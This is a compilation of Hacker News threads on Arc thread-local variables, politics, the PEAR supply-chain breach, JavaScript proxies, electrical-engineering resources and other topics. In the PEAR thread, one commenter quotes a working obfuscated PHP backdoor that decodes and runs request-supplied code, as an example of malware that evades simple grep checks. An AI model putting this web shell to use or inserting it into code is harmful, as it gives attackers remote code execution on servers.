We decided to take advantage of the fact that in the HN code, each page request gets its own (green) thread, and Racket, which Arc is implemented in, has thread-local variables. At the beginning of processing a request, we save all the request parameters—including the currently-logged-in user, which we call 'me'—as thread-local vars. We made two changes to Arc for accessing these.

The first change we made was to add a form 'the' that takes a symbol and returns the value of the thread-local variable with that name, or nil if there isn't one. So, to get the currently logged-in user, we just say:

      (the me)

... an odd phrasing, but charmingly succinct.

However, we were nervous about scattering forms like '(the me)' and '(the page)' and '(the ip)' willy-nilly through the code. That's basically programming by global variable. ("Thread-local" variables could also be called "thread-global".) Accessing them randomly would wreck the discipline of knowing which variables are used where—a good thing that having to declare them explicitly in function signatures imposes on you.

To solve that, we made a second change to Arc: we added a new kind of optional argument to let functions declare which of these variables they'll use. Optional arguments work like this in Arc:

      (def foo ((o bar 123)) ...

If you supply the arg explicitly as in '(foo 99)', then 'bar' is 99. If you omit the arg, as in '(foo)', then 'bar' is 123. If you don't supply a default, 'bar' is nil.

By analogy with 'o' for optional, we added 't' for thread-local, allowing you to declare a function like this:

      (def foo ((t me)) ...

Now you can call '(foo)' without an argument and the variable 'me' will be bound to the current logged-in user. If you need more than one thread-local value, that's fine:

      (def foo ((t me) (t ip)) ...

And you can mix ordinary function arguments in along with these:

      (def foo (bar (t me) (t ip)) ...

Say you want a function to take an optional argument and use a thread-local value if the argument isn't supplied. You can do it like this:

      (def foo ((t u me)) ...

That allows you to call 'foo' with an explicit arg, e.g. '(foo "pg")', making 'u' be "pg", or without an arg, '(foo)', making 'u' be the currently logged-in user.

We can use that trick to make a new version of 'editor':

      (def editor ((t u me))
        (and u (or (admin u) (> (uvar u auth) 0))))

Now we can call it without an arg, '(editor)', to find out if the currently- logged-in user is an editor. And that is what allows us finally to simplify 'user-name':

      (def user-name (subject)
        (if (and (editor) (ignored subject))
             (tostring (fontcolor darkred (pr subject)))
            (and (editor) (< (user-age subject) 1440))
             (tostring (fontcolor noob-color* (pr subject)))
            subject))

We've gotten rid of the transient argument 'user', because it was only 'editor' that needed it, and it no longer needs it from us.

This was not a sophisticated language change. Under the hood, the 'def editor' signature above simply translates to:

      (def editor ((o u (the me)))

But it did require changing the Arc implementation to make it work.

This change to the language allowed us to simplify hundreds of cases where arguments were passed through functions that didn't actually need them. It also allowed us to clarify the code in many places. For example, now that 'user-name' no longer has any ambiguity about which user is which, we don't need to call its argument 'subject'. It can just be 'user':

      (def user-name (user)
        (if (and (editor) (ignored user))
             (tostring (fontcolor darkred (pr user)))
            (and (editor) (< (user-age user) 1440))
             (tostring (fontcolor noob-color* (pr user)))
            user))

All these simplifications were nice indeed, but it wasn't clear at first whether the change was a good idea overall. There's still something magical about pulling thread-local vars out of thin air when you need them. It still feels uncomfortably globalesque. But in the end, two considerations won us over.

First, it turns out that this solution strikes a nice balance between convenience and discipline. You still have to declare which variables you plan to use in each function signature, so it's possible to look at the function and know exactly what state it depends on. That's a lot more systematic than loosey-goosey random access would be. And there's something pleasingly crisp about declaring state only at the place where it's about to be used, even though as a style it took a little getting used to (e.g. it's a bit weird that '(editor)' tells you something about the currently logged-in user). On the whole, it was a significant win for expressiveness. Here, being able to modify the language to suit the application was the big win. The new language construct is much more lightweight than any code we might have written purely at the application level, even with Lisp macros.

Second, these request parameters like 'user' that we smuggle around in thread- local variables are a genuine design invariant for HN. They're always present, their meaning is always the same, and they never even change value once assigned. This decreases the risk of having them universally accessible through the code. That's the main thing we were worried about, and I was surprised to find how little of a problem it turned out to be. It hasn't led to any bugs. In fact I don't believe it has caused any trouble at all.

There is one downside. Some functions that no longer take arguments they don't need are no longer so easy to call from the REPL. For example, to find out how the username "dang" is printed when pg is logged in, we used to be able to evaluate this from the REPL:

      (user-name "pg" "dang")

But now there is no way to pass in "pg" as the logged-in user, and if I evaluate

      (user-name "dang")

that's going to show me how "dang" is printed when nobody is logged in. To get around this, you must set up a thread-local value before evaluating the form. We have macros for this:

      (w/me "pg" (user-name "dang"))

It's not as convenient as just passing an argument to a function, but still nicer than having to, e.g., set up a stub Request object. In practice it's not too annoying.

The last thing I'll mention is that the above was a good hack for the HN codebase but probably wouldn't make a good extension for Arc in general, because it's clearly a poor man's dynamic scope, and proper dynamic scope shouldn't be that hard to add to Arc. That would subsume the above hack and give us something both more standard and more powerful. Lexical scope by default, dynamic scope when appropriate is what the Lambda Papers advocated, what Common Lisp does (also Racket, in its verbose way), and by far the best thing for practical Lisp programming.

<comment><USER4> This was great! I wish there were more case studies like this.

I think you're selling it short, this is a truly novel "third way" of managing state, after lexical scope and dynamic scope. The key idea is the hook into the function signature that allows overriding without the push/pop dynamic that characterizes lexical and dynamic scope.

I'm curious, does your system raise a warning if a function uses a thread- global variable without declaring it in the function arguments? Do you still feel the need for directly using _the_ anywhere in the HN codebase?

<comment><USER3> Dan's implementation is fascinating, but I'm unsure if it qualifies as "truly novel" since I __think__ I've seen something like this before. I wish I could remember where, and a few quick searches have turned up no results. As he mentioned, thread-local-storage (the other "TLS") in CommonLisp is provided by dynamically scoped variables [1], but this similar functionality is being accomplished elsewise. Though this way of getting TLS may lack some of benefits of full dynamically scoped variables, I've got a wild, unsubstantiated hunch that this way may have better performance than full blown dynamic scoping due to less overhead.

The fun part is, this way of doing things (i.e. without dynamic scoping built in) is essentially doing "user-directed scoping" that is vaguely similar to things like "SoftTyping" [2] and "SuccessTyping" [3,4] which are basically "user-directed typing".

[1] [https://en.wikipedia.org/wiki/Thread- local_storage#Common_Li...](https://en.wikipedia.org/wiki/Thread- local_storage#Common_Lisp_.28and_maybe_other_dialects.29)

[2] [http://c2.com/cgi-bin/wiki?SoftTyping](http://c2.com/cgi- bin/wiki?SoftTyping)

[3] [http://www.it.uu.se/research/group/hipe/publications.shtml](http://www.it.uu.se/research/group/hipe/publications.shtml)

[4] [http://www.it.uu.se/research/group/hipe/publications.shtml](http://www.it.uu.se/research/group/hipe/publications.shtml)

<comment><USER4> Thanks for those links. Could you check #4?

After I posted my comment I connected up this idea with [https://en.wikipedia.org/wiki/Google_Guice](https://en.wikipedia.org/wiki/Google_Guice)

<comment><USER3> The #4 link is fine, but the person who posted it failed miserably. ;)

I wanted to give you the direct link to the SuccessTyping paper listed on the url given in #3 and #4.

[http://www.it.uu.se/research/group/hipe/papers/succ_types.pd...](http://www.it.uu.se/research/group/hipe/papers/succ_types.pdf)

</comment></comment></comment></comment></comment></comment></comment><comment><AUTHOR> See also: [http://arclanguage.org/item?id=19464](http://arclanguage.org/item?id=19464)</comment>


Noam Chomsky explains Donald Trump's recent success - <AUTHOR> https://www.quora.com/Why-is-Donald-Trump-having-so-much-success-during-this-election-cycle?share=1 <comment><USER2> I only partially agree.

I believe trumps success owes a lot to how differentiated he is from other candidates; to the point where he is effectively a 'third party' within the republican party. The other candidates split one pool of votes (because they are so similar) and he takes a largely unopposed pool. This is even worse because the republican party recently switched to a winner-takes-all voting scheme for their primaries.

Example: Arkansas had 33% Trump, 31% Cruz, 25% Rubio. If only one of them ran, then either Cruz or Rubio seems more likely to have won. Instead Trump got 2/3 of candidiates, Cruz got 1/3 of candidates and Rubio got nothing.

<comment><USER3> Cruz and Trump are competing on very similar grounds for the same groups (the main differentiating factor seems to be that Cruz claims Trump's appeals to the group are insincere, whereas Trump claims that Cruz is ineffective, both based on the idea that he is widely unliked by other political actors and his electoral performance so far) -- and this is supported by the fact that the establishment organs are split over whether they see Cruz or Trump as the more serious threat.

The rest of the candidates (of which Rubio is the only one with any even dim signs of life at this point) seem to be mostly splitting the remaining group with who gets the non-Trump/non-Cruz support determined by factors like regional appeal and visibility (which mostly means Rubio gets the lion's share, but Kasich's second-place -- after Trump -- showing in Vermont after his unusually focused effort there is part of this.)

Now, even though Trump and Cruz are targeting very similar voters, there seems to be enough enmity between the camps that voters that have committed to one already (rather than undecided that might commit to one or the other) may be unlikely to switch to the other if their preferred candidate goes away, so a Cruz withdrawal, if it were to occur, might still benefit the remaining non- Trump candidate (presumably Rubio), but I don't think Rubio (et al.) and Cruz supporters are really a coherent block that is being split.

> This is even worse because the republican party recently switched to a > winner-takes-all voting scheme for their primaries.

Its a lot more complicated than that; there isn't a single scheme used by all state Republican Parties to allocate delegates: [http://frontloading.blogspot.com/p/2016-republican- delegate-...](http://frontloading.blogspot.com/p/2016-republican-delegate- allocation-by.html)

(The Republicans have for some time had, overall, a far more disproportionate system than the Democrats, and I believe its _more_ disproportionate in 2016 than it was previously, but its not "winner-take-all", except in a few states.)

<comment><USER2> Well there goes my theory.

On the other side, I see Bernie losing heavily in conservative states, but nearly equal or slightly better in others. I'm assuming he's so polarizing that republican voters are voting against him. This may be a good system for Americans in general even if I'd love to see him win (it keeps candidates towards the middle).

<comment><USER3> > On the other side, I see Bernie losing heavily in conservative states, but > nearly equal or slightly better in others.

He's losing heavily in states where the Democratic electorate has a large black component, and, from the exit polling, losing heavily because Clinton is getting pretty much all the black vote.

Those happen to also be largely southern, conservative states, but its not conservatives or Republicans voting in Democratic primaries that are giving Hillary big wins.

<comment><USER2> Fair enough. I'm happy to stay a programmer and not a political analyst :)

</comment></comment></comment></comment></comment><comment><USER4> As is par for Chomsky, he will mention neoliberalism and the demonization of immigrants in the same breath, without ever directly bringing up the fact that the flood of immigrants is both caused by and promoted in the interest of neoliberal goals of deracinating populations and converting them into pools of low-paid commodity laborers.

</comment><comment><USER5> Chomsky's analysis is the same as the NYTimes--that Trump appeals primarily to poor and uneducated voters, and that he has the same magnetism as Hitler. Too much ivory tower intellectualization.</comment>


Apple's Goals for the Mac Operating System - <AUTHOR> https://512pixels.net/2017/02/apples-goals-for-the-mac-operating-system/ <comment><USER2> I found the end funny: While today the Mac's app ecosystem is somewhat stagnant compared to that of iOS, it is still rich and broad. While there will always be Windows-only enterprise tools, almost everyone else can get by with a Mac and a modern web browser.

The same is true for a Windows PC at 3/4's the cost.</comment>


Man kills baby on Facebook Live - <AUTHOR> http://www.bbc.com/news/world-asia-39706205 <comment><USER2> This is very distressful. They've tried to combat this in many ways but I think it's time they pulled the plug on this. I can't imagine a worse feeling than having to look at something like this. The occurrence has increased to one every week which is just unacceptable.

Until they find a solution to this, please shut down Facebook Live (and other similar services)

</comment><comment><USER3> I'm not sure why FB doesn't just disable Live for a while. That seems like the obviously ethical thing to do.

From a purely selfish point of view, is there some legal repercussion to disabling it? I.e. will this mean that FB could be liable for other objectionable content, and can't claim that it's the posting user's fault?

<comment><USER2> I think I might have not understood your 2nd para altogether but the only legal repercussion I can think of would be the tie-ups that FB has with advertisers who've paid for certain minutes of FB ads. But, this is just financial and one that shouldn't figure when there's such disturbing behaviour at stake.</comment></comment>


The iBeacon Protocol and How to Hack It - <AUTHOR> http://skylarrudolph.blogspot.com/2014/03/the-ibeacon-protocol-and-how-to-hack-it.html

<comment><AUTHOR> Direct Link to Post [http://skylarrudolph.blogspot.com/2014/03/the-ibeacon- protoc...](http://skylarrudolph.blogspot.com/2014/03/the-ibeacon-protocol-and- how-to-hack-it.html)

</comment><comment><AUTHOR> This is a sequel to my previous GUI iBeacon Creator about how to hack the iBeacon Protocol. Please take a look!

</comment><comment><USER2> So, this is kind of network subnetting but for iBeacon, right?

<comment><AUTHOR> Yes, exactly. And how to use it efficiently to maximize iBeacons per iOS/Android Application.</comment></comment>


Pear.php.net shuts down after maintainers discover serious supply-chain attack - <AUTHOR> https://arstechnica.com/information-technology/2019/01/pear-php-site-breach-lets-hackers-slip-malware-into-official-download/ <comment><USER2> > The officials didn't say when the hack of their Web server occurred or > precisely what the malicious version of go-pear.phar did to infected > systems.

From Twitter ([https://twitter.com/pear](https://twitter.com/pear)):

> What we know: the tainted go-pear.phar file was reported to us on 1/18 by > the Paranoids FIRE Team. The last release of this file was done 12/20, so > the taint occurred after that. The taint was verified by us on 1/19.

> What we know: The taint was an embedded line designed to spawn a reverse > shell via Perl to IP 184.108.40.206. This IP has been reported to its host > in relation to the taint.

> What we know: no other breach was identified. The install-pear-nozlib.phar > was ok. The go-pear.phar file at GitHub was ok, and could be used as a good > md5sum comparison for any suspect copies.

> If you downloaded go-pear.phar before 12/20, we have no concrete evidence > you received a tainted file... but it would be prudent to check your system > if you used go-pear.phar to perform a PEAR installation in the last several > months.

</comment><comment><USER3> A good reminder to run your webserver with only the privileges it needs, including read/write permissions on the filesystem outside www and shell execution of commands on the system.

Also not a bad idea to have some kind of file compare against a "known good" folder of your site(s) to determine if any files have been modified or added, such as webshells.

<comment><USER4> For "known good" folder, a git repository may help, at least to restore a clean version of the code.

<comment><USER5> Probably preaching to the choir here, but for those who are unaware, be sure that .git directories are not accessible by web clients. It will lead to source code disclosure, and if you've checked in any secrets, credential exposure as well.

<comment><USER6> That and if the webserver can write to .git it can also invisibly modify the history to ensure that you continue to check out the backdoored code no matter how far you go back.

</comment></comment></comment></comment><comment><USER7> It just shows how many people verify PGP signatures, if this was discovered after a month.

<comment><USER8> It doesn't look like they were signing releases until two days ago with 1.10.10.

</comment></comment><comment><USER9> Aptly timed vulnerability with this article [https://research.swtch.com/deps](https://research.swtch.com/deps)

<comment><USER10> > Aptly timed vulnerability

I C what you did there [https://www.debian.org/security/2019/dsa-4371](https://www.debian.org/security/2019/dsa-4371)

<comment><USER11> Almost, you are mixing up homepage posts. You are talking about [https://news.ycombinator.com/item?id=18958679](https://news.ycombinator.com/item?id=18958679).

</comment></comment></comment><comment><USER12> Thankfully nobody is using PEAR anymore. Using composer doesn't solve the problem of blinedly pulling internet dependencies, though (as others pointed out).

What I currently do is grepping vendor for common smells like usage of eval() or obfuscations of the same thing after doing a composer update on a project.

<comment><USER13> It's hard to find obfuscations of stuff. ran across this recently...

<?php $z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();?>

There's no 'eval' or 'base64_decode' easy thing to grep for.

<comment><USER14> You might be able to catch that by looking for lines with unusually high entropy. Something like this: [https://codereview.stackexchange.com/a/909](https://codereview.stackexchange.com/a/909)

<comment><USER15> The problem with approaches like this is that they're prone to false positive/negatives. Take the example above — you could move more payload into the REQUEST variable (say a Cookie header), do more of the array of numbers so no individual token is that noteworthy, you could do something like toss that into a wrapper so someone sees something which looks like (and may actually be) an x509 cert or GPG public key with some misleading comment about that being used to verify updates, toss it into an image or other "fixture" in a test directory a la event-stream, etc.

This is a much harder problem than anything someone is going to come up with in an HN reply on first reaction. People have been working on it for decades but it's especially hard because once a technique becomes popular an attacker can run offline attacks against it and not release their exploit until they've confirmed that it's not detected.

</comment></comment></comment></comment><comment><USER16> Does anyone know if composer ever uses PEAR?

<comment><USER12> It doesn't.

<comment><USER17> Composer does support pulling packages from PEAR ([https://getcomposer.org/doc/05-repositories.md#pear](https://getcomposer.org/doc/05-repositories.md#pear)), but through their own implementation and not go-pear.phar.

</comment></comment></comment><comment><USER18> Are GNU/Linux distros affected?

<comment><USER2> Only an installer on pear.php.net was compromised. I think a "proper" package would be built from the source code, bypassing that installer.

But a more ad hoc package, like from Arch's AUR, might just fetch that installer from pear.php.net instead. In fact, that's what the AUR package did - it just hardcodes the URL of the installer.

The AUR package was (probably) not compromised, but perhaps only because it happened to use the nozlib version of the installer instead of the version that was compromised.

This is how the AUR package looked at the time: [https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=php-p...](https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=php- pear&id=54f5f3e0ce9c6a13c6ecc3f708c4128e97ce1e4e)

And this is how it looks now: [https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=php-p...](https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=php- pear)

The old PKGBUILD does have a hash, but I don't know if it was obtained from a trusted source. So I would guess that if it had used the compromised installer, and the installer was compromised after the PKGBUILD was updated to use that release, it would have alerted people that the installer had been replaced.

The new PKGBUILD uses the Github release and includes a PGP key.

</comment></comment><comment><USER19> I'm not doing PHP anymore, but never heard of PEAR, everybody seems to use Composer since quite a while. Seems like the transition happened in 2014-2015.

</comment><comment><USER20> If a company does not invest in open source and uses it - it has to invest into open source to kee using it. Well at least it's under the security budget and doesn't look like a voluntarily paid tax anymore.

</comment><comment><USER21> This article is outdated. Check the PEAR Twitter profile for new information.

It would be nice if journalists would keep up with the things they report on.

<comment><USER22> It would be nice if you'd highlight _what_ is outdated rather than a vague assertion and a "go look on Twitter".

<comment><USER23> Maybe even provide a link to the Twitter profile.</comment></comment></comment>


California: The Flood That Could Change Everything - <AUTHOR> https://features.weather.com/us-climate-change/california/ <comment><USER2> Rather than wait for this ARkStorm to cause the largest migration in U.S. history - I'd be looking to get out of California much sooner. Between the fires, mudslides, earthquakes and megastorms, not to mention sky-high real estate, why do people continue to flock there? Seems like there's a lot of irrational exuberance in California.</comment>


Reshaping - <AUTHOR> http://www.tbray.org/ongoing/When/201x/2011/04/01/Straight-Right <comment><USER2> I'm always somewhat disappointed that no browser supports e.g. the TeX line- breaking algorithm. It is slower and it does need some extra data on "odd" hyphenations, but the results are quite pleasing.

</comment><comment><USER3> Interesting. I'm now experimenting with "H&J" on some pages of mine that have fairly long, side-by-side columns of text. I haven't decided yet whether I'll stick with it. It's a bit disconcerting, albeit not at all surprising, that Hyphenator.js sometimes yields three or more hyphenated lines in succession. I'll probably run my pages by some friends and ask whether they find them more readable with or without "H&J" - unscientific but maybe good enough for my purposes.

</comment><comment><USER4> That's strange. In the latest Chrome, some of those soft hyphens fail to show up but it still splits the word, e.g. "abomina<br>tion". Other hyphenations appear just fine. Works fine in Safari.</comment>


Show HN: LaunchPropeller – Micro services to help you launch you project - <AUTHOR> https://launchpropeller.com/ <comment><AUTHOR> You are welcome to post your project in the "Get listed" section for free if you like.</comment>


Future Kubernetes will mimic what Facebook already does - <AUTHOR> https://www.nextplatform.com/2019/06/10/future-kubernetes-will-mimic-what-facebook-already-does/ <comment><USER2> > _Google created Kubernetes from scratch in the Go programming language_

K8s was ported from Java [1].

[1]: [https://archive.fosdem.org/2019/schedule/event/kubernetesclu...](https://archive.fosdem.org/2019/schedule/event/kubernetesclusterfuck/)

</comment><comment><USER3> Namespaces were not created by google, but rather Al Viro back in 2002. Google developers had input, but it is a bold claim that it was "donated" to linux kernel. Cgroups were created by google devs, but later on developed by the community, so wouldn't really claim they were "donated" too.</comment>


The data is in – stop the panic and end the total isolation - <AUTHOR> https://thehill.com/opinion/healthcare/494034-the-data-are-in-stop-the-panic-and-end-the-total-isolation <comment><USER2> I just noticed, your number one point boils down to who cares about the old folks, they are going to die soon anyway. Tells us a lot about you.

<comment><USER3> I notice this HN habit of reading something until you find something disagreeable and then presumably stop reading (which is the most generous assumption) and then post a negative comment.

The writer could have done better in the ordering of the article to avoid this reaction in general, but at least HN should give it a fair chance by reading to the end. Otherwise its like taking a sentence out of context.

He also said:

> Protecting older, at-risk people eliminates hospital overcrowding.

> The appropriate policy, based on fundamental biology and the evidence > already in hand, is to institute a more focused strategy like some outlined > in the first place: Strictly protect the known vulnerable, self-isolate the > mildly sick and open most workplaces and small businesses with some prudent > large-group precautions.

<comment><USER4> It's wishful thinking that we can somehow protect the elderly from getting infected while the rest of the population is getting infected. Possibly for individuals at home, but surely not for anyone in a home or hospital who needs nursing. Assuming that very few people remain infectious after catching Covid (jury is still out: there are cases of relapse and continual low level infection - we don't know how common either is yet).

The writer mentions the problem, but lacks suggestions for how we can prevent the infirm from getting infected over the long term. Perhaps in a world with unlimited PPE?

<comment><AUTHOR> That's a good point. There would still be an element of risk but that's true for any plan. The lockdowns certainly aren't without risks of their own. I guess it comes down to which option is least bad.

</comment></comment></comment></comment><comment><USER2> Really? [https://www.worldometers.info/coronavirus/#countries](https://www.worldometers.info/coronavirus/#countries) says you are full of it if you don't think the virus is serious.

<comment><USER3> He didn't say the virus is not serious</comment></comment>


Fyi Sendgrid is down - <AUTHOR>

Had large mail job fail, went to website, www.sendgrid.com seems down too.<p>If your app is using Sendgrid, check your delivery status... <comment><USER2> This is apparently a retaliatory DDoS related to the firing of the Playhaven developer who was outed at PyCon

<https://news.ycombinator.com/item?id=5391667> [http://venturebeat.com/2013/03/20/playhaven-developer- fired-...](http://venturebeat.com/2013/03/20/playhaven-developer-fired-for- making-sexual-jokes-after-sendgrids-developer-evangelist-outs-him-on-twitter/)

SendGrid status: <http://status.sendgrid.com/>

<comment><USER3> That's a productive way to raise awareness of an issue</comment></comment>


Metaprogramming: An Introduction to JavaScript (ES6) Proxy - <AUTHOR> https://blog.greenroots.info/metaprogramming-an-introduction-to-javascriptes6-proxy-cjwkk64ly000gvds10db4l034 <comment><USER2> These make stack traces a pain in the ass to debug. This kind of magic is great for prototyping, but I'm very unconvinced it has a general purpose role in maintainable code.

<comment><USER3> I've been using Immer which relies on proxies to give you a plain object interface but also copy on write immutability.

It's very nice and I think is a practical example of when proxies make sense. However it does at times suffer from the cost of doing magic: you handle them in unusual ways and suddenly they break a lot.

<comment><USER2> Yea, you're right, I can see that working in the right context. These ARE essentially DSLs, though, so their success largely depends on hard to define things like documentation, coupling, and quarantining to expected places.

<comment><AUTHOR> Absolutely!

</comment></comment></comment></comment><comment><USER4> I wouldn't exactly call Proxies metaprogramming. It's not wrong but it's just not the best example of what metaprogramming is.

<comment><USER5> Proxies trace back their origin in mirrors/mirages in metaprogramming for OO languages. (shoutout to AmbientTalk) It's a very Smalltalk way of doing reflection and intersection.

Do you mean that it lacks syntactic abstractions to be called metaprogramming?

<comment><USER4> The author mentioned that metaprogramming is treating "code as data" which Proxies themselves don't really do.

</comment></comment></comment><comment><AUTHOR> Awesome Discussions, Learned from it, Thanks!

</comment><comment><USER6> Looks like PHP magic methods for JavaScript.</comment>


Ask HN: Resources to learn Electrical Engineering? - <AUTHOR> I have virtually no experience in this field and would like to learn about electrical engineering - both in theory (e.g. the relevant formulas, best practices to design circuit boards, etc.) and in practice (e.g. soldering, little projects, etc.)<p>What resources can you recommend? I'm looking for starter kits, books and/or video lessons. <comment><USER2> I can give you some starting points, but it depends on where you are now and where you want to go. Could you answer the following so I can narrow my recommendations down?

1) What is your background? Education, experience, hobby/work.. ? Specifically, level of mathematics and physics background.

2) What do you want to do? Electrical engineering is much more than PCB design or circuit theory.

3) How much time do you want to dedicate to this learning (per week)? When do you want to "get results"? I.e. do you want to start designing PCBs next week and have them shipped to you in two weeks, or do you want the equivalent of a Bachelor's degree in EE? Or somewhere in between..?

<comment><AUTHOR> 1) I'm a software engineer, have a good foundation in mathematics and physics. I could use a refresher on the electrical engineering area of physics though.

2) What I want to do - for starters, small hobbyist projects like playing with sensors, displays, etc. My end goal is to be able to design cool IoT projects, such as smart security cameras, and sell them.

3) I can dedicate 1-2 hours per day. I don't expect to have the equivalent of a Bachelor's degree any time soon, but am happy with any kind of pace.

<comment><USER2> Sorry it got a bit long but here's something. Let me know if you need more or different suggestions.

I would say you need at least three things: (1) a physics textbook with some EE emphasis to get the fundamental physics (again?), (2) a circuit theory book to transform the physical knowledge to reading circuits and (3) some resource to transform the circuit theory to working PCB designs.

(1) and (2) are easy to come by (digital or in book form) and any moderately recent textbook you can pick up at a second hand store should suffice. I like physical books but YMMV. I learned using [1] and [2]. More recently, there are high-quality videos but I think it is better to get a book and then search for additional help on the topics you don't understand from the textbook explanation.

(3) is more difficult. This kind of experience can be obtained from lab exercises in a university or work experience. Unfortunately, it is very difficult to point to a single book or video resource because there are so many directions. Here are some things that may help, I tried to organize them from easy to difficult. You may need to spend a little money (<$100) in hardware in total.

Then, there is the programming side. This is most often in some C-flavor for microcontrollers so dust off your knowledge on that (or follow one of a million blogposts on Google if you're stuck).

\- Get a Raspberry Pi and attach some sensors to it. There are many manufacturers of Pi-compatible stuff. Try to use the low-level functionality of RPi because it will be useful for future microcontroller projects.

\- Use your Raspberry Pi with some generic sensor PCB that is not specifically RPi compatible.

\- Related to above: learn about datasheets of microcontrollers. Learn that a microcontroller needs quite some external components to function (try to understand why). Learn how to program the microcontroller (extra hardware may be necessary)

\- Try to mimic one of the sensor boards you got with your own PCB+microcontroller design. Maybe you can extend its functionality if you design it? Design your own PCB: integrate microcontroller, sensor, crystal, power supply+regulator, etc.

\- If you want to get more fancy, you will need to spend more money, unfortunately, but in general the components are very cheap. Maybe try to get a Bluetooth chip and two Raspberry Pi's or two custom microcontroller boards to communicate? Or get a WiFi chip to communicate with your computer? Bluetooth light switch (careful with mains power!)?

\- Someone else mentioned the EEV YouTube channel. Great content in general (although I can't vouch for all videos). It's nice to watch some and try to Google more information based on what interests you.

[1] "Physics for Scientists and Engineers" (now that I searched the title, I realize there are many books with the same title, from my short glances they all seem pretty equal, but I am sorry I can't remember the authors of my book)

[2] "Basic Engineering Circuit Analysis", Irwin & Nelms, see [https://www.wileyplus.com/engineering-and-materials- science/...](https://www.wileyplus.com/engineering-and-materials- science/irwin-basic-engineering-circuit-analysis-11e-eprof12673/) (I have a much older version)

</comment></comment></comment><comment><USER3> Ok, so @itcrowd has some very good questions that the answers will definitely guide the resources recommended to you. However, it may be difficult to answer as a thoughtful and complete answer to each question, for you, will depend on you knowing some stuff already.

So on that note, a great place for you to start figuring out what you want to do with EE is to watch Dave Jones over on the EEVBlog YT channel ([https://www.youtube.com/watch?v=6a-jcaTn170](https://www.youtube.com/watch?v=6a-jcaTn170)), then go and join the EEVBlog forum.

Some good playlists to start off with: 1) [https://www.youtube.com/playlist?list=PLvOlSehNtuHtWlH0UOZNt...](https://www.youtube.com/playlist?list=PLvOlSehNtuHtWlH0UOZNtOn- FlFCn1GYw) 2) [https://www.youtube.com/playlist?list=PL3C5D963B695411B6](https://www.youtube.com/playlist?list=PL3C5D963B695411B6) 3) [https://www.youtube.com/playlist?list=PLEB166338AC3AA2F5](https://www.youtube.com/playlist?list=PLEB166338AC3AA2F5) 4) [https://www.youtube.com/playlist?list=PLvOlSehNtuHugqRHdt46S...](https://www.youtube.com/playlist?list=PLvOlSehNtuHugqRHdt46SN9Bmoh-D5Gp2) 5) [https://www.youtube.com/playlist?list=PLvOlSehNtuHu2FviAaZai...](https://www.youtube.com/playlist?list=PLvOlSehNtuHu2FviAaZaiyXwN41G4b1Lf)

This is only scratching the surface, enjoy!

EDIT: Here's an intro to Dave Jones, in case you don't know who he is: [https://www.youtube.com/watch?v=6a-jcaTn170](https://www.youtube.com/watch?v=6a-jcaTn170)</comment>


Git Trident 1.5 has been released - <AUTHOR> http://www.somerobots.com <comment><USER2> Curious as to what has changed with the 1.5 release.

<comment><AUTHOR> Hey brudgers, sorry for this late reply! V1.5 was a big update (several months of work), but standout features include better ipad support, huge amounts of attention to UX and UI issues, and stablity.

If you install the App there's a full changelog, and in the app store version history there is information.</comment></comment>


Ask HN: Which degrees give the best intellectual returns? - <AUTHOR> Which degree makes the greatest contribution to your overall "intelligence" or intellectual toolkit? <comment><USER2> The one where you don't think of a degree as an intellectual commodity, and instead realise the intellectual returns come from yourself and your own work. You could do an English degree in the worst university and still come out knowing higher Maths. Anyone doing just the set work from lectures hoping for a quick intellectuql fix completely misses the finer points of going to university. It's an environment of self learning. If you bury yourself in that and dedicate your time to learning whatever you want, any degree and any university is equally worthwhile. Some it's just a more pleasant experience to do that, given what you want to put in and get out. Chemistry for example is a lot better provided for at rich universities. Making contacts in the world of academia if you wish to begin an academic career is one of the few other reasons to choose a specific degree and location. If you aren't interested in academia, choice of university and course is a lot more irrelevant... other than prestige and tuition fees. Unless you plan on getting in to the most prestigious univsersity in the land an employer wont care too much. A vocational degree title like "Software Engineer" matters more for many jobs. Even if what you learnt far outstrips that role, or you avoided learning half of what is necessary to be any use. Ultimately the best degree with highest return will fit your interests and life goals enabling you to engage with self learning, no one can tell you what that is, or suggest it without a lot more info. For me I did three different degrees in three different subjects at two different universities. There wasnt method to the madness ibfollowed my interests. Now I work in a job that uses a broad set of my skills I otherwise couldnt have done with the time only learning a single subject. I managed to jump degree subjects through learning a lot of foundational knowledge for the next during the time of whatever course I was working through. It didnt feel like hard work because I was having too much fun learning new stuff, and interacting with cool people along the way. Once you live for learning any university dept becomes a great environment, but any prescriptive degree course is highly limiting to your intellectual return. Engage with learning and thebuni environment not with course soecifics, treat modules like a box ticking exercise, the minimum knowledge in areas others identified as important to learn.

</comment><comment><USER3> Looking back on it, I think you can never have too much maths/statistics knowledge, and coding is a skill akin to a superpower in some ways. I think if I were giving someone advice today, who was about to embark on their undergraduate career, I'd suggest something like "major in math or statistics and do a minor in computer science" (or the other way around).

But really I agree with Ultimatt. And you shouldn't think of finishing a degree (whether it's an associates, bachelors, masters or phd) as "the end" of ones education. Especially in the era we live in with so much knowledge freely available on the 'net, there's no reason to not make learning a lifelong thing.

Heck, I'm 42 and I'm taking a handful of Coursera classes right now (I am literally taking a break from homework right now to stop and check HN). And if I had nothing but free time, I'd spend half my time doing classes through Coursera, Edx, etc., or doing something on Khan Academy, etc. That or downloading papers from arXiv and reading them, or watching deep learning videos on Youtube, etc.</comment>


What's the Java equivalent of Kernighan and Ritchie's C programming language? - <AUTHOR> I have moderate experience with java (did a intro to AI class in school and all the practical work was in java) but I only picked up the language in that class (which wasn't a class intended to teach the language). I'd like a textbook recommendation for getting a more formal introduction to the language and I enjoyed the C programming language text. Wondering what the HN community considers the equivalent for java <comment><USER2> This is a really interesting question - the main problem with identifying a single book is that while Java core syntax is relatively terse (you can for example check out Precisely Java for an example: [https://web- beta.archive.org/web/20110810052030/http://www.d...](https://web- beta.archive.org/web/20110810052030/http://www.dina.kvl.dk/~sestoft/javaprecisely/)) the language delivers only through massive usage of the standard libraries. And this really makes it a completely different beast from C - a gap that kept growing at each subsequent version of Java (you may notice that Java Precisely hasn't been updated after Java 5, btw).

